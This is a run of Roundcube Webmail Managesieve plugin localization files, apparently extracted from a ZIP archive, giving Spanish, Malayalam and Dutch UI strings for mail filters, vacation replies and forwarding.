$labels['month'] = 'mes';
$labels['day'] = 'día';
$labels['date'] = 'fecha (aaaa-mm-dd)';
$labels['julian'] = 'fecha (juliano)';
$labels['hour'] = 'hora';
$labels['minute'] = 'minuto';
$labels['second'] = 'segundo';
$labels['time'] = 'hora (hh:mm:ss)';
$labels['iso8601'] = 'fecha (ISO8601)';
$labels['std11'] = 'fecha (RFC2822)';
$labels['zone'] = 'zona horaria';
$labels['weekday'] = 'día de la semana (0-6)';
$labels['advancedopts'] = 'Opciones avanzadas';
$labels['body'] = 'Cuerpo del mensaje';
$labels['address'] = 'dirección';
$labels['envelope'] = 'envoltura';
$labels['modifier'] = 'modificador:';
$labels['text'] = 'texto';
$labels['undecoded'] = 'decodificar (en bruto)';
$labels['contenttype'] = 'tipo de contenido';
$labels['modtype'] = 'tipo:';
$labels['allparts'] = 'todo';
$labels['domain'] = 'dominio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'usuario';
$labels['detail'] = 'detalle';
$labels['comparator'] = 'comparador:';
$labels['default'] = 'predeterminado';
$labels['octet'] = 'estricto (octeto)';
$labels['asciicasemap'] = 'no sensible a mayúsculas (ascii-casemap)';
$labels['asciinumeric'] = 'numerico (ascii-numeric)';
$labels['index'] = 'índice:';
$labels['indexlast'] = 'hacia atrás';
$labels['spamtest'] = 'Nivel de Spam';
$labels['spamtestisgreaterthan'] = 'es mayor que';
$labels['spamtestisgreaterthanequal'] = 'es mayor o igual que';
$labels['spamtestislessthan'] = 'es menor que';
$labels['spamtestislessthanequal'] = 'es menor o igual que';
$labels['spamtestequals'] = 'es igual a';
$labels['spamtestnotequals'] = 'no es igual a';
$labels['spamtestisunknown'] = 'es desconocido';
$labels['vacation'] = 'Aviso de ausencia';
$labels['vacation.reply'] = 'Mensaje de respuesta';
$labels['vacation.advanced'] = 'Configuración avanzada';
$labels['vacation.from'] = 'Responder a la dirección del remitente';
$labels['vacation.subject'] = 'Asunto';
$labels['vacation.body'] = 'Cuerpo';
$labels['vacation.start'] = 'Fecha y hora de incio de ausencia';
$labels['vacation.end'] = 'Fecha y hora de regreso a la oficina';
$labels['vacation.status'] = 'Estado';
$labels['vacation.on'] = 'Activado';
$labels['vacation.off'] = 'Desactivado';
$labels['vacation.addresses'] = 'Mis direcciones de correo electrónico';
$labels['vacation.interval'] = 'Intervalo de respuesta';
$labels['vacation.after'] = 'Poner la regla de ausencia después';
$labels['vacation.saving'] = 'Guardando datos...';
$labels['vacation.action'] = 'Acción para mensaje entrante';
$labels['vacation.keep'] = 'Mantener';
$labels['vacation.discard'] = 'Descartar';
$labels['vacation.redirect'] = 'Reenviar a';
$labels['vacation.copy'] = 'Enviar copia a';
$labels['forward'] = 'Reenvío';
$labels['forward.redirect'] = 'Reenviar a';
$labels['forward.copy'] = 'Enviar copia a';
$labels['forward.on'] = 'Activado';
$labels['forward.off'] = 'Desactivado';
$labels['forward.status'] = 'Estado:';
$labels['forward.action'] = 'Para mensajes entrantes ejecutar la siguiente acción:';
$labels['forward.saving'] = 'Guardando información...';
$labels['filladdresses'] = 'Rellenar con todas mis direcciones';
$labels['arialabelfiltersetactions'] = 'Acciones de conjunto de filtros';
$labels['arialabelfilteractions'] = 'Filtrar acciones';
$labels['arialabelfilterform'] = 'Filtrar propiedades';
$labels['ariasummaryfilterslist'] = 'Lista de filtros';
$labels['ariasummaryfiltersetslist'] = 'Lista de conjunto de filtros';
$labels['filterstitle'] = 'Editar filtros para mensajes entrantes';
$labels['vacationtitle'] = 'Editar reglas de ausencia';
$labels['forwardtitle'] = 'Editar regla de reenvío de correo';
$labels['message'] = 'Mensaje';
$labels['duplicate'] = 'está duplicado';
$labels['notduplicate'] = 'no está duplicado';
$labels['duplicate.handle'] = 'manejar:';
$labels['duplicate.header'] = 'encabezamiento:';
$labels['duplicate.uniqueid'] = 'identificador:';
$labels['duplicate.seconds'] = 'límite de tiempo (en segundos):';
$labels['duplicate.last'] = 'relativo a la última ejecución';
$messages['filterunknownerror'] = 'Error desconocido en el servidor.';
$messages['filterconnerror'] = 'No se pudo conectar con el servidor managesieve.';
$messages['filterdeleteerror'] = 'No se pudo borrar el filtro. Ha ocurrido un error en el servidor.';
$messages['filterdeleted'] = 'Filtro borrado correctamente.';
$messages['filtersaved'] = 'Filtro guardado correctamente.';
$messages['filtersaveerror'] = 'No se pudo guardar el filtro. Ha ocurrido un error en el servidor.';
$messages['filterformerror'] = 'El formulario de filtrado contiene errores.';
$messages['filterdeleteconfirm'] = '¿Realmente desea borrar el filtro seleccionado?';
$messages['ruledeleteconfirm'] = '¿Está seguro de que desea borrar la regla seleccionada?';
$messages['actiondeleteconfirm'] = '¿Está seguro de que desea borrar la acción seleccionada?';
$messages['forbiddenchars'] = 'Caracteres prohibidos en el campo.';
$messages['cannotbeempty'] = 'El campo no puede estar vacío.';
$messages['ruleexist'] = 'Ya existe un filtro con el nombre especificado.';
$messages['setactivateerror'] = 'Imposible activar el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setdeactivateerror'] = 'Imposible desactivar el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setdeleteerror'] = 'Imposible borrar el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setactivated'] = 'Conjunto de filtros activados satisfactoriamente.';
$messages['setdeactivated'] = 'Conjunto de filtros desactivados satisfactoriamente.';
$messages['setdeleted'] = 'Conjunto de filtros eliminados satisfactoriamente.';
$messages['setupdated'] = 'Conjunto de filtros actualizados satisfactoriamente.';
$messages['setdeleteconfirm'] = '¿Estás seguro de que deseas eliminar el conjunto de filtros seleccionado?';
$messages['setcreateerror'] = 'Imposible crear el conjunto de filtros seleccionado. Ocurrió un error en el servidor.';
$messages['setcreated'] = 'Conjunto de filtros creado satisfactoriamente.';
$messages['activateerror'] = 'No se pudo habilitar filtro(s) seleccionado(s). Ha ocurrido un error en el servidor.';
$messages['deactivateerror'] = 'No se pudo deshabilitar filtro(s) seleccionado(s). Ha ocurrido un error en el servidor.';
$messages['deactivated'] = 'Filtro(s) deshabilitado(s) correctamente.';
$messages['activated'] = 'Filtro(s) habilitado(s) correctamente.';
$messages['moved'] = 'Filtro movido correctamente.';
$messages['moveerror'] = 'No se pudo mover el filtro seleccionado. Ha ocurrido un error en el servidor.';
$messages['nametoolong'] = 'Nombre demasiado largo.';
$messages['namereserved'] = 'Nombre reservado.';
$messages['setexist'] = 'El conjunto ya existe.';
$messages['nodata'] = '¡Al menos una posición debe ser seleccionada!';
$messages['invaliddateformat'] = 'Fecha o formato de fecha inválido';
$messages['saveerror'] = 'No se pudo guardar los datos. Ha ocurrido un error en el servidor.';
$messages['vacationsaved'] = 'Datos de ausencia guardados satisfactoriamente.';
$messages['forwardsaved'] = 'Datos de reenvío guardados satisfactoriamente.';
$messages['emptyvacationbody'] = '¡Hace falta un texto en el mensaje de ausencia!';
$messages['duplicate.conflict.err'] = 'Tanto el encabezamiento, como el identificador único, no están permitidos.';
$messages['disabledaction'] = 'Acción no permitida.';
$messages['lastindexempty'] = 'Se necesita un índice cuando se cuenta desde el final';
$messages['noflagset'] = 'Al menos una etiqueta debe estar seleccionada';
PKh�\�����.�.*plugins/managesieve/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'അരിപ്പകള്‍';
$labels['managefilters'] = 'അകത്തോട്ടുള്ള ഇമെയില്‍ അരിപ്പകള്‍ ക്രമീകരിക്കുക';
$labels['filtername'] = 'അരിപ്പയുടെ പേര്';
$labels['newfilter'] = 'പുതിയ അരിപ്പ';
$labels['filteradd'] = 'അരിപ്പ ചേര്‍ക്കുക';
$labels['filterdel'] = 'അരിപ്പ നീക്കംചെയ്യുക';
$labels['moveup'] = 'മുകളിലേക്ക് നീക്കുക';
$labels['movedown'] = 'താഴേക്ക് നീക്കുക';
$labels['filterallof'] = 'കീഴ്പറഞ്ഞ എല്ലാ നിയമങ്ങളും പാലിക്കുന്നവ';
$labels['filteranyof'] = 'കീഴ്പറഞ്ഞ ഏതെങ്കിലും നിയമം പാലിക്കുന്നവ';
$labels['filterany'] = 'എല്ലാ സന്ദേശങ്ങളും';
$labels['filtercontains'] = 'അടങ്ങുന്നത്';
$labels['filternotcontains'] = 'ല്‍ അടങ്ങുന്നില്ല';
$labels['filteris'] = 'ന് തുല്യം';
$labels['filterisnot'] = 'ന് തുല്യമല്ല';
$labels['filterexists'] = 'നിലവിലുണ്ട്';
$labels['filternotexists'] = 'നിലവിലില്ല';
$labels['filtermatches'] = 'എക്സ്പ്രഷന്‍ ചേരുന്നുണ്ട്';
$labels['filternotmatches'] = 'എക്സ്പ്രഷന്‍ ചേരുന്നില്ല';
$labels['filterregex'] = 'റെഗുലര്‍ എക്സ്പ്രഷന്‍ ചേരുന്നുണ്ട്';
$labels['filternotregex'] = 'റെഗുലര്‍ എക്സ്പ്രഷന്‍ ചേരുന്നില്ല';
$labels['filterunder'] = 'കീഴില്‍';
$labels['filterover'] = 'മുകളില്‍';
$labels['addrule'] = 'നിയമം ചേര്‍ക്കുക';
$labels['delrule'] = 'നിയമം നീക്കം ചെയ്യുക';
$labels['messagemoveto'] = 'സന്ദേശം നിക്കു :';
$labels['messageredirect'] = 'സന്ദേശം മാറ്റിവിടു :';
$labels['messagecopyto'] = 'സന്ദേശം പകര്‍ത്തു :';
$labels['messagesendcopy'] = 'സന്ദേശത്തിന്റെ പകര്‍പ്പ് അയക്കു :';
$labels['messagereply'] = 'സന്ദേശം വെച്ച് മറുപടി അയക്കു';
$labels['messagedelete'] = 'സന്ദേശം മായ്ക്കു';
$labels['messagediscard'] = 'സന്ദേശത്തോടെ നിരാകരിക്കുക';
$labels['messagekeep'] = 'സന്ദേശം ഇൻബോക്സിൽ സൂക്ഷിക്കുക';
$labels['messagesrules'] = 'ആഗമന സന്ദേശങ്ങള്‍ക്ക്:';
$labels['messagesactions'] = '...ഈ പ്രവര്‍ത്തനങ്ങള്‍ ചെയ്യുക:';
$labels['add'] = 'ചേര്‍ക്കു';
$labels['del'] = 'നീക്കം ചെയ്യുക';
$labels['sender'] = 'അയചയാള്‍';
$labels['recipient'] = 'സ്വീകര്‍ത്താവ്';
$labels['vacationdays'] = 'എത്ര ഭിവസം കൂടുമ്പോള്‍ സന്ദേശം അയക്കണം:';
$labels['vacationinterval'] = 'എത്ര സമയം കൂടുമ്പോൾ സന്ദേശങ്ങൾ അയയ്ക്കണം:';
$labels['vacationreason'] = 'സന്ദേശത്തിന്റെ ഉള്ളടക്കം (അവധിയുടെ കാരണം):';
$labels['vacationsubject'] = 'സന്ദേശത്തിന്റെ വിഷയം:';
$labels['days'] = 'ദിവസങ്ങൾ';
$labels['seconds'] = 'സെക്കന്റുകൾ';
$labels['rulestop'] = 'നിയമങ്ങള്‍ വിലയിരുത്തുന്നത് നിര്‍ത്തുക';
$labels['enable'] = 'പ്രവര്‍ത്തനസജ്ജം/രഹിതം';
$labels['filtersets'] = 'അരിപ്പകളുടെ കൂട്ടങ്ങള്‍';
$labels['filterdef'] = 'അരിപ്പയുടെ നിര്‍വ്വചനം';
$labels['active'] = 'സജീവം';
$labels['none'] = 'ഒന്നുമില്ല';
$labels['fromset'] = 'സെറ്റില്‍ നിന്ന്';
$labels['fromfile'] = 'ഫയലില്‍ നിന്ന്';
$labels['filterdisabled'] = 'അരിപ്പ പ്രവര്‍ത്തനരഹിതമാക്കി';
$labels['countisgreaterthan'] = 'എണ്ണം ഇതിനെക്കാള്‍ കുടുതല്‍';
$labels['countisgreaterthanequal'] = 'എണ്ണം ഇതിനെക്കാള്‍ കൂടുതല്‍ ഇല്ലെങ്കില്‍ സമം';
$labels['countislessthan'] = 'എണ്ണം ഇതിനെക്കാള്‍ കുറവ്';
$labels['countislessthanequal'] = 'എണ്ണം ഇതിനെക്കാള്‍ കൂറവ് ഇല്ലെങ്കില്‍ സമം';
$labels['countequals'] = 'എണ്ണം ഇതിനോട് സമം';
$labels['countnotequals'] = 'എണ്ണം ഇതിനോട് തുല്യമല്ല';
$labels['valueisgreaterthan'] = 'മൂല്യം ഇതിനെക്കാള്‍ കുടുതല്‍';
$labels['valueisgreaterthanequal'] = 'മുല്യം ഇതിനെക്കാള്‍ കൂടുതല്‍ ഇല്ലെങ്കില്‍ സമം';
$labels['valueislessthan'] = 'മൂല്യം ഇതിനെക്കാള്‍ കുറവ്';
$labels['valueislessthanequal'] = 'മൂല്യം ഇതിനെക്കാള്‍ കൂറവ് ഇല്ലെങ്കില്‍ തുല്യം';
$labels['valueequals'] = 'മൂല്യം ഇതിനോട് സമം';
$labels['valuenotequals'] = 'മൂല്യം ഇതിനോട് തുല്യമല്ല';
$labels['setflags'] = 'സന്ദേശത്തില്‍ അടയാളമിടുക';
$labels['addflags'] = 'സന്ദേശത്തില്‍ അടയാളം ചേര്‍ക്കുക';
$labels['removeflags'] = 'സന്ദേശത്തില്‍ നിന്നും അടയാളം മാറ്റുക';
$labels['flagread'] = 'വായിച്ചവ';
$labels['flagdeleted'] = 'നീക്കം ചെയ്തവ';
$labels['flaganswered'] = 'മറുപടി നല്‍കിയവ';
$labels['flagflagged'] = 'അടയാളപ്പെടുത്തിയവ';
$labels['flagdraft'] = 'കരട്';
$labels['setvariable'] = 'വേരിയബിൾ സ്ഥിരപ്പെടുത്തുക';
$labels['setvarname'] = 'വേരിയബിളിന്റെ പേര്';
$labels['setvarvalue'] = 'വേരിയബിളിന്റെ മൂല്യം';
$labels['notifymethodmailto'] = 'ഇമെയില്‍';
$labels['notifymethodtel'] = 'ഫോണ്‍';
$labels['filtercreate'] = 'അരിപ്പ ഉണ്ടാക്കുക';
$labels['usedata'] = 'ഈ വിവരങ്ങള്‍ അരിപ്പയില്‍ ഉപയോഗിക്കുക:';
$labels['nextstep'] = 'അടുത്ത പടി';
$labels['...'] = '...';
$labels['datetest'] = 'തീയതി';
$labels['advancedopts'] = 'വിപുലീക്രിതമായ ക്രമീകരണങ്ങള്‍';
$labels['body'] = 'ഉള്ളടക്കം';
$labels['address'] = 'മേല്‍വിലാസം';
$labels['envelope'] = 'എന്‍വലപ്പ്';
$labels['modifier'] = 'മോഡിഫയര്‍:';
$labels['text'] = 'വാചകം';
$labels['undecoded'] = 'ഡീക്കോഡ് ചെയ്യാത്തത് (റോ)';
$labels['contenttype'] = 'ഉള്ളടക്കത്തിന്റെ തരം';
$labels['modtype'] = 'തരം:';
$labels['allparts'] = 'എല്ലാം';
$labels['domain'] = 'ഡൊമൈന്‍';
$labels['localpart'] = 'പ്രാദേശിക ഭാഗം';
$labels['user'] = 'ഉപയോക്താവു്';
$labels['detail'] = 'വിശദാംശം';
$labels['comparator'] = 'താരതമ്യകന്‍:';
$labels['default'] = 'സഹജമായ';
$labels['octet'] = 'കര്‍ശനം (octet)';
$labels['asciicasemap'] = 'വലിയ-ചെറിയക്ഷരങ്ങള്‍ തമ്മില്‍ വ്യത്യാസമില്ലാത്ത (ascii-casemap)';
$labels['asciinumeric'] = 'സംഖ്യകള്‍ (ascii-numeric)';
$labels['spamtestequals'] = 'ന് തുല്യം';
$labels['spamtestnotequals'] = 'ന് തുല്യമല്ല';
$labels['vacation.subject'] = 'വിഷയം';
$labels['vacation.body'] = 'ഉള്ളടക്കം';
$messages['filterunknownerror'] = 'അജ്ഞാതമായ സെര്‍വ്വര്‍ പിശക്.';
$messages['filterconnerror'] = 'സെര്‍വ്വറുമായി ബന്ധപ്പെടാന്‍ സാധിക്കുന്നില്ല.';
$messages['filterdeleted'] = 'അരിപ്പ വിജകരമായി മായ്ച്ചു.';
$messages['filtersaved'] = 'അരിപ്പ വിജകരമായി സൂക്ഷിച്ചു.';
$messages['filterdeleteconfirm'] = 'തെരഞ്ഞെടുത്ത അരിപ്പ നീക്കം ചെയ്യണമെന്ന് ഉറപ്പാണോ?';
$messages['ruledeleteconfirm'] = 'തെരഞ്ഞെടുത്ത നിയമം നീക്കം ചെയ്യണമെന്ന് ഉറപ്പാണോ?';
$messages['actiondeleteconfirm'] = 'തെരഞ്ഞെടുത്ത പ്രവര്‍ത്തി നീക്കം ചെയ്യണമെന്ന് ഉറപ്പാണോ?';
$messages['forbiddenchars'] = 'ഫില്‍ഡില്‍ സാധുവല്ലാത്ത അക്ഷരങ്ങള്‍.';
$messages['cannotbeempty'] = 'ഫീല്‍ഡ് ശൂന്യമാകാന്‍ പാടില്ല.';
$messages['ruleexist'] = 'ഈ പേരിലുള്ള അരിപ്പ ഇപ്പോള്‍ തന്നെ ഉണ്ട്.';
$messages['deactivated'] = 'അരിപ്പ വിജകരമായി പ്രവര്‍ത്തനസജ്ജമാക്കി.';
$messages['activated'] = 'അരിപ്പകള്‍ നിര്‍വീര്യം ആക്കപ്പെട്ടിരിക്കുന്നു';
$messages['moved'] = 'അരിപ്പ വിജകരമായി മാറ്റി.';
$messages['nametoolong'] = 'പേരിന് നീളം കൂടുതല്‍.';
$messages['namereserved'] = 'നീക്കിവെച്ച വാക്ക്.';
$messages['setexist'] = 'കൂട്ടം നേരത്തെ തന്നെ ഉണ്ട്.';
$messages['nodata'] = 'ഒരു സ്ഥാനമെങ്കിലും തെരഞ്ഞെടുക്കണം!';
PKh�\u�� 8 8*plugins/managesieve/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filters';
$labels['managefilters'] = 'Beheer filters voor inkomende e-mail';
$labels['filtername'] = 'Filternaam';
$labels['newfilter'] = 'Nieuw filter';
$labels['filteradd'] = 'Filter toevoegen';
$labels['filterdel'] = 'Verwijder filter';
$labels['rules'] = 'Regels';
$labels['actions'] = 'Acties';
$labels['scope'] = 'Zoekbereik';
$labels['moveup'] = 'Verplaats omhoog';
$labels['movedown'] = 'Verplaats omlaag';
$labels['filterallof'] = 'die voldoet aan alle volgende regels';
$labels['filteranyof'] = 'die voldoet aan één van de volgende regels';
$labels['filterany'] = 'alle berichten';
$labels['filtercontains'] = 'bevat';
$labels['filternotcontains'] = 'bevat niet';
$labels['filteris'] = 'is gelijk aan';
$labels['filterisnot'] = 'is niet gelijk aan';
$labels['filterexists'] = 'bestaat';
$labels['filternotexists'] = 'bestaat niet';
$labels['filtermatches'] = 'komt overeen met expressie';
$labels['filternotmatches'] = 'komt niet overeen met expressie';
$labels['filterregex'] = 'komt overeen met de reguliere expressie';
$labels['filternotregex'] = 'komt niet overeen met de reguliere expressie';
$labels['filterunder'] = 'onder';
$labels['filterover'] = 'over';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME gedeelte:';
$labels['mime-message'] = 'bericht';
$labels['mime-anychild'] = 'elke';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'subtype';
$labels['mime-contenttype'] = 'inhoudstype';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Regel toevoegen';
$labels['delrule'] = 'Regel verwijderen';
$labels['messagemoveto'] = 'Verplaats bericht naar';
$labels['messageredirect'] = 'Bericht doorsturen naar';
$labels['messagecopyto'] = 'Kopieer bericht naar';
$labels['messagesendcopy'] = 'Verstuur een kopie naar';
$labels['messagereply'] = 'Beantwoord met bericht';
$labels['messagedelete'] = 'Verwijder bericht';
$labels['messagediscard'] = 'Met bericht negeren';
$labels['messagekeep'] = 'Bewaar bericht in Postvak IN';
$labels['messagesrules'] = 'Voor binnenkomende e-mail:';
$labels['messagesactions'] = '...voer de volgende acties uit';
$labels['add'] = 'Toevoegen';
$labels['del'] = 'Verwijderen';
$labels['sender'] = 'Afzender';
$labels['recipient'] = 'Ontvanger';
$labels['vacationaddr'] = 'Mijn e-mailadressen:';
$labels['vacationdays'] = 'Hoe vaak moet een bericht verstuurd worden (in dagen):';
$labels['vacationinterval'] = 'Hoe vaak moet een bericht verstuurd worden:';
$labels['vacationreason'] = 'Bericht (vakantiereden):';
$labels['vacationfrom'] = 'Antwoord-afzender adres:';
$labels['vacationsubject'] = 'Onderwerp:';
$labels['days'] = 'dagen';
$labels['seconds'] = 'seconden';
$labels['rulestop'] = 'Stop met regels uitvoeren';
$labels['enable'] = 'In-/uitschakelen';
$labels['filterset'] = 'Filterset';
$labels['filtersets'] = 'Filtersets';
$labels['filtersetadd'] = 'Filterset toevoegen';
$labels['filtersetdel'] = 'Filterset verwijderen';
$labels['filtersetact'] = 'Huidige filterset activeren';
$labels['filtersetdeact'] = 'Huidige filterset uitschakelen';
$labels['filterseteditraw'] = 'Filterset bewerken';
$labels['filtersetswitch'] = 'Filterset in/uitschakelen';
$labels['filterdef'] = 'Filterdefinitie';
$labels['filtersetname'] = 'Filtersetnaam';
$labels['newfilterset'] = 'Nieuwe filterset';
$labels['active'] = 'actief';
$labels['none'] = 'geen';
$labels['fromset'] = 'van set';
$labels['fromfile'] = 'van bestand';
$labels['filterdisabled'] = 'Filter uitgeschakeld';
$labels['filterenabled'] = 'Filter ingeschakeld';
$labels['countisgreaterthan'] = 'aantal is groter dan';
$labels['countisgreaterthanequal'] = 'aantal is groter dan of gelijk aan';
$labels['countislessthan'] = 'aantal is kleiner dan';
$labels['countislessthanequal'] = 'aantal is kleiner dan of gelijk aan';
$labels['countequals'] = 'aantal is gelijk aan';
$labels['countnotequals'] = 'aantal is niet gelijk aan';
$labels['valueisgreaterthan'] = 'waarde is groter dan';
$labels['valueisgreaterthanequal'] = 'waarde is groter dan of gelijk aan';
$labels['valueislessthan'] = 'waarde is minder dan';
$labels['valueislessthanequal'] = 'waarde is minder dan of gelijk aan';
$labels['valueequals'] = 'waarde is gelijk aan';
$labels['valuenotequals'] = 'waarde is niet gelijk aan';
$labels['setflags'] = 'Stel markeringen in op bericht';
$labels['addflags'] = 'Voeg markeringen toe aan bericht';
$labels['removeflags'] = 'Verwijder markeringen van bericht';
$labels['flagread'] = 'Lezen';
$labels['flagdeleted'] = 'Verwijderd';
$labels['flaganswered'] = 'Beantwoord';
$labels['flagflagged'] = 'Gemarkeerd';
$labels['flagdraft'] = 'Concept';
$labels['addheader'] = 'Voeg header toe aan bericht';
$labels['deleteheader'] = 'Verwijder header van bericht';
$labels['headername'] = 'Header naam';
$labels['headervalue'] = 'Header waarde';
$labels['headerpos'] = 'Header positie';
$labels['headeratstart'] = 'in het begin';
$labels['headeratend'] = 'op het einde';
$labels['headeroccurrence'] = 'Header weergave/positie';
$labels['headerfromstart'] = 'vanaf begin';
$labels['headerfromend'] = 'vanaf einde';
$labels['headerpatterns'] = 'Header gegevenspatroon';
$labels['headermatchtype'] = 'match op type:';
$labels['setvariable'] = 'Variabele instellen';
$labels['setvarname'] = 'Naam variabele:';
$labels['setvarvalue'] = 'Waarde:';
$labels['setvarmodifiers'] = 'Waarde wijzigen:';
$labels['varlower'] = 'kleine letters';
$labels['varupper'] = 'hoofdletters';
$labels['varlowerfirst'] = 'eerste karakter als kleine letter';
$labels['varupperfirst'] = 'eerste karakter als hoofdletter';
$labels['varquotewildcard'] = 'speciale karakters quoten';
$labels['varlength'] = 'lengte';
$labels['notify'] = 'Stuur melding';
$labels['notifytarget'] = 'Meldingsdoel:';
$labels['notifymessage'] = 'Meldingsbericht (optioneel):';
$labels['notifyoptions'] = 'Meldingsopties (optioneel):';
$labels['notifyfrom'] = 'Meldingsafzender (optioneel):';
$labels['notifyimportance'] = 'Prioriteit:';
$labels['notifyimportancelow'] = 'laag';
$labels['notifyimportancenormal'] = 'normaal';
$labels['notifyimportancehigh'] = 'hoog';
$labels['notifymethodmailto'] = 'E-mail';
$labels['notifymethodtel'] = 'Telefoon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Filter aanmaken';
$labels['usedata'] = 'Gebruik de volgende gegevens in het filter:';
$labels['nextstep'] = 'Volgende stap';
$labels['...'] = '...';
$labels['string'] = 'Karakterreeks';
$labels['currdate'] = 'Huidige datum';
$labels['datetest'] = 'Datum';
$labels['dateheader'] = 'header:';
$labels['year'] = 'jaar';
$labels['month'] = 'maand';
$labels['day'] = 'dag';
$labels['date'] = 'datum (jjjj-mm-dd)';
$labels['julian'] = 'datum (juliaanse kalender)';
$labels['hour'] = 'uur';
$labels['minute'] = 'minuut';
$labels['second'] = 'seconde';
$labels['time'] = 'tijd (uu:mm:ss)';
$labels['iso8601'] = 'datum (ISO-8601)';
$labels['std11'] = 'datum (RFC 2822)';
$labels['zone'] = 'tijdzone';
$labels['weekday'] = 'weekdag (0-6)';
$labels['advancedopts'] = 'Geavanceerde opties';
$labels['body'] = 'Inhoud';
$labels['address'] = 'adres';
$labels['envelope'] = 'envelope';
$labels['modifier'] = 'toets op:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'undecoded (raw)';
$labels['contenttype'] = 'content type';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'Alle';
$labels['domain'] = 'domein';
$labels['localpart'] = 'lokaal gedeelte';
$labels['user'] = 'gebruiker';
$labels['detail'] = 'detail';
$labels['comparator'] = 'vergelijkingswijze:';
$labels['default'] = 'standaard';
$labels['octet'] = 'strikt (octet)';
$labels['asciicasemap'] = 'hoofdletterongevoelig (ascii-casemap)';
$labels['asciinumeric'] = 'numeriek (ascii-numeriek)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'terugwaarts';
$labels['spamtestisgreaterthan'] = 'is groter dan';
$labels['spamtestisgreaterthanequal'] = 'is groter dan of gelijk aan';
$labels['spamtestislessthan'] = 'is minder dan';
$labels['spamtestislessthanequal'] = 'is minder dan of gelijk aan';
$labels['spamtestequals'] = 'is gelijk aan';
$labels['spamtestnotequals'] = 'is niet gelijk aan';
$labels['spamtestisunknown'] = 'is onbekend';
$labels['vacation'] = 'Afwezigheidsbericht';
$labels['vacation.reply'] = 'Antwoordbericht';
$labels['vacation.advanced'] = 'Geavanceerde instellingen';
$labels['vacation.from'] = 'Antwoord-afzender adres';
$labels['vacation.subject'] = 'Onderwerp';
$labels['vacation.body'] = 'Inhoud';
$labels['vacation.start'] = 'Start tijdstip';
$labels['vacation.end'] = 'Eind tijdstip';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Aan';
$labels['vacation.off'] = 'Uit';
$labels['vacation.addresses'] = 'Mijn e-mailadressen';
$labels['vacation.interval'] = 'Antwoordinterval';
$labels['vacation.after'] = 'Plaats de afwezigheidsregel achter';
$labels['vacation.saving'] = 'Gegevens worden opgeslagen...';
$labels['vacation.action'] = 'Actie voor inkomend bericht';
$labels['vacation.keep'] = 'Bewaren';
$labels['vacation.discard'] = 'Weggooien';
$labels['vacation.redirect'] = 'Doorsturen naar';
$labels['vacation.copy'] = 'Kopie sturen naar';
$labels['forward'] = 'Doorsturen';
$labels['forward.redirect'] = 'Doorsturen naar';
$labels['forward.copy'] = 'Kopie sturen naar';
$labels['forward.on'] = 'Aan';
$labels['forward.off'] = 'Uit';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Voer de volgende actie uit voor binnenkomende berichten:';
$labels['forward.saving'] = 'Gegevens worden opgeslagen...';
$labels['filladdresses'] = 'Vullen met al mijn adressen';
$labels['arialabelfiltersetactions'] = 'Filtersetacties';
$labels['arialabelfilteractions'] = 'Filteracties';
$labels['arialabelfilterform'] = 'Filtereigenschappen';
$labels['ariasummaryfilterslist'] = 'Filterlijst';
$labels['ariasummaryfiltersetslist'] = 'Lijst met filtersets';
$labels['filterstitle'] = 'Bewerk filters voor inkomende berichten';
$labels['vacationtitle'] = 'Bewerk vakantieregel';
$labels['forwardtitle'] = 'Bewerk regel voor doorsturen van mail';
$labels['message'] = 'Bericht';
$labels['duplicate'] = 'is duplicaat';
$labels['notduplicate'] = 'is geen duplicaat';
$labels['duplicate.handle'] = 'handle:';
$labels['duplicate.header'] = 'header:';
$labels['duplicate.uniqueid'] = 'identificatie:';
$labels['duplicate.seconds'] = 'timeout (seconden):';
$labels['duplicate.last'] = 'relatief aan de laatste uitvoering';
$messages['filterunknownerror'] = 'Onbekende fout';
$messages['filterconnerror'] = 'Kan geen verbinding maken met de managesieve server';
$messages['filterdeleteerror'] = 'Kan filter niet verwijderen. Er trad een serverfout op.';
$messages['filterdeleted'] = 'Filter succesvol verwijderd';
$messages['filtersaved'] = 'Filter succesvol opgeslagen';
$messages['filtersaveerror'] = 'Kan filter niet opslaan. Er trad een serverfout op.';
$messages['filterformerror'] = 'Filterformulier bevat fouten.';
$messages['filterdeleteconfirm'] = 'Weet je zeker dat je het geselecteerde filter wilt verwijderen?';
$messages['ruledeleteconfirm'] = 'Weet je zeker dat je de geselecteerde regel wilt verwijderen?';
$messages['actiondeleteconfirm'] = 'Weet je zeker dat je de geselecteerde actie wilt verwijderen?';
$messages['forbiddenchars'] = 'Verboden karakters in het veld';
$messages['cannotbeempty'] = 'Veld mag niet leeg zijn';
$messages['ruleexist'] = 'Er bestaat al een filter met deze naam.';
$messages['setactivateerror'] = 'Filterset kon niet geactiveerd worden. Er trad een serverfout op.';
$messages['setdeactivateerror'] = 'Filterset kon niet gedeactiveerd worden. Er trad een serverfout op.';
$messages['setdeleteerror'] = 'Filterset kon niet verwijderd worden. Er trad een serverfout op.';
